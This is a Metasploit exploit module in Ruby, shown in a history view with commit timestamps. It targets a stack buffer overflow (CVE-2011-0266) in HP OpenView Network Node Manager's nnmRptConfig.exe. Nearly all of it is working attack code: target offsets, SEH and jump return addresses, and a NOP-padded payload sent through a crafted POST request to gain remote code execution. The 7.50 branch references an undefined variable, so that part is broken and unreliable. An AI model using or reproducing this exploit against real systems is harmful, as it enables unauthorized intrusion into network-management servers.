2011-03-23 03:37:18 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = NormalRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "HP OpenView NNM nnmRptConfig nameParams Buffer Overflow",
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a vulnerability in HP NNM's nnmRptConfig.exe.
|
|
|
|
A remote user can send a long string data to the nameParams parameter via
|
|
|
|
a POST request, which causes an overflow on the stack when function
|
|
|
|
ov.sprintf_new() is used, and gain arbitrary code execution.'
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => "$Revision$",
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'sinn3r',
|
2011-03-24 02:48:04 +00:00
|
|
|
'MC',
|
2011-03-23 03:37:18 +00:00
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2011-0266'],
|
|
|
|
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-008/']
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
2011-03-24 02:48:04 +00:00
|
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
|
|
|
'StackAdjustment' => -3500,
|
2011-03-23 03:37:18 +00:00
|
|
|
},
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'ExitFunction' => "seh",
|
|
|
|
'AutoRunScript' => 'migrate -f',
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2011-03-24 02:48:04 +00:00
|
|
|
[
|
|
|
|
'HP NNM 7.53 Windows Server 2003 Enterprise',
|
|
|
|
{
|
|
|
|
'Ret' => 0x5A30532D, #POP/POP/RET OvWww.dll
|
|
|
|
'offset' => 46913, #Offset to SEH chain
|
|
|
|
'Pops' => 13, #Number of POPADs needed
|
|
|
|
'Payloadoffset' => 57, #Offset to pyload
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[
|
|
|
|
'HP OpenView Network Node Manager 7.50',
|
|
|
|
{
|
|
|
|
'Ret' => 0x5a01d78d, #JMP
|
|
|
|
'offset' => 5117, #Offset to overwrite EIP
|
|
|
|
}
|
|
|
|
],
|
2011-03-23 03:37:18 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
2011-03-24 02:48:04 +00:00
|
|
|
'DisclosureDate' => "Jan 10 2011"))
|
2011-03-23 03:37:18 +00:00
|
|
|
|
2011-03-24 02:48:04 +00:00
|
|
|
register_options( [Opt::RPORT(80),], self.class )
|
2011-03-23 03:37:18 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
2011-03-24 02:48:04 +00:00
|
|
|
sploit = ''
|
|
|
|
data = ''
|
|
|
|
|
|
|
|
if target.name =~ /NNM 7.53/ && target.name =~ /Server 2003/
|
|
|
|
|
|
|
|
nops = make_nops(1000)*70
|
|
|
|
|
|
|
|
sploit << nops[0, target['offset']]
|
|
|
|
sploit << generate_seh_record(target.ret)
|
|
|
|
sploit << "\x61"*target['Pops']
|
|
|
|
sploit << "\x51"
|
|
|
|
sploit << "\xc3"
|
|
|
|
sploit << nops[0, target['Payloadoffset']]
|
|
|
|
sploit << payload.encoded
|
|
|
|
sploit << nops[0, 70000-sploit.length]
|
|
|
|
|
|
|
|
data << "Content&Action=Create&"
|
|
|
|
data << "Template=Avail/CRAvail&"
|
|
|
|
data << "Operation=Apply&"
|
|
|
|
data << "Params=schdParams+nameParams"
|
|
|
|
data << "&schdParams=schd_select1%3Ddaily%7Cmonthtodate&"
|
|
|
|
data << "nameParams=text1%3D#{sploit}%26text2%3Dtest2test%26text3%3Dtest2 HTTP/1.1"
|
|
|
|
|
|
|
|
elsif target.name =~ /7.50/
|
|
|
|
|
|
|
|
#Courtersy of MC
|
|
|
|
sploit << rand_text_alpha_upper(target['offset'])
|
|
|
|
sploit << [target.ret].pack('V')
|
|
|
|
sploit << payload.encoded
|
|
|
|
sploit << rand_text_alpha_upper(8024 - 5117 - 4 - payload.encoded.length)
|
|
|
|
|
|
|
|
data << "Content&Action=Modify&Template=Avail/General+Availabiilty/monthtodat"
|
|
|
|
data << "e&Operation=Apply&Params=schdParams+nameParams&schdParams=schd_select1%3Dmonto"
|
|
|
|
data << "date&nameParams=text1%3D#{boom}%262%3D%263%3D"
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
2011-03-23 03:37:18 +00:00
|
|
|
|
|
|
|
connect
|
|
|
|
send_request_raw({
|
|
|
|
'uri' => '/OvCgi/nnmRptConfig.exe',
|
|
|
|
'data' => data,
|
|
|
|
'version' => '1.1',
|
|
|
|
'method' => 'POST',
|
|
|
|
'headers' => {
|
|
|
|
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
|
|
|
|
'Accept-Language' => 'en-us,en;q=0.5',
|
|
|
|
'Accept-Encoding' => 'gzip,deflate',
|
|
|
|
'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
|
|
|
|
'Keep-Alive' => '300',
|
|
|
|
'Connection' => 'Keep-Alive',
|
|
|
|
'Cache-Control' => 'max-age=0',
|
|
|
|
'Content-Length' => data.length,
|
|
|
|
'Content-Type' => 'application/x-www-form-urlencoded',
|
|
|
|
}
|
|
|
|
}, 3)
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|